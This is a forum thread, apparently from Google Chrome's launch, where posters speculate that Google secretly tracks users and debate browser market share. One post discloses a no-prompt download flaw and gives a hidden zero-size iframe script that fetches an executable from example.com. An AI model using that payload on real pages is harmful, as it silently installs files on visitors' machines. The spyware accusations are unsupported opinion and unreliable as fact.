    The Google is Evil Theorem

    Google = Evil

    That's a basic mathematical equation you should have memorized by heart.

    I'm guessing it's not true. I mean, this could be another great venture for stealing our information for Google... why would they not take the plunge?

    They should be doing it somehow. Just because you can't see it doesn't mean they aren't collecting.

    Information is Power. Google is Everything.

    google is a data mining operation at it's core, i'm sure they are keeping track of you one way or another. remember, mr cutts is google's propaganda and disinformation master.

    Just by their ability to rank search query results and knowing that most people never search beyond the first few pages gives them incredible power over the information that the billions of computer users receive. In essence, they have the ability to censor and filter what information we receive and what opinions we formulate far beyond what governments, past and present, do with their media censorship. Kinda scary when you think about it.

    It's part of the "control everything" process.

    3 steps most people take when surfing the web:
    1- Open Browser
    2- Search for issue on mind
    3- End up on random webpage

    Google dominates searching. Google recently began dominating the content market (youtube, blogger, etc.).

    Now Google is looking to have an influence over the first step too.

    It all boils down to the fact that the big G feels encroached upon by MacroShaft. They want to remain competitive in the market and in order to do so, they developed Chr0m3.

    I remain leery of Chr0m3 because I sincerely believe that the big G has ulterior motives. While the application is loosely based upon open-source code from W3bK1t and M0z1ll4, I don't believe for one minute that G hasn't injected some sort of tracking or monitoring capabilities regardless of their claims that the private browsing feature "incognito" mitigates the storage of cookies, history, tracking, etc.

    What I do find mildly amusing is that while G has it out for MacroShaft, they aren't going to fuck with FF because they provide the main source of M0zill4's income (85% in 2006).

    Tommy I agree with you 100%. I know google wouldnt make a browser, and make it free if it didnt benifit them in some way. its just their next step in internet domination

    How do you guys think this browser launching will affect the internet?

    I personally think it'll be a failure, or at least, not measure up to Firefox or IE. Kinda like Vista with XP.

    umm i read it somewhere that ie is coming up with a new version on IE... and they plan making the google toolbar uninstallable and tweak the home page...

    n if they do this n put msn in its place that will be huge disadvantage for google... you must understand 70% of the ppl still use IE.. as the records suggest!

    firefox controls 20% of the market n was not growing so they launched a new product so that they can eat into the IE share... :)

    Don't you people think your paranoia is all bs? Google chrome is an open source browser so everybody could see the spyware!
    Plus google is concerned about their image, so they won't install spyware because someone would find out about that and that would be a disaster for the brand.
    Third reason: They got all the data they need already at hand, why bother?

    Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
    downloaded to the user's computer without any user prompt.

    Code:
    <script>
    document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
    </script>

    I think this browser is the first step in a much larger plan. Eventually I expect Google to control practically ALL the online marketing and provide EACH surfer with different advertising based on info Google's been collecting for ages. I can picture later versions of this browser SHOWING ONLY Google sponsored ads even if other ads are coded to appear!

    Sort of like looking through Google-colored glasses.
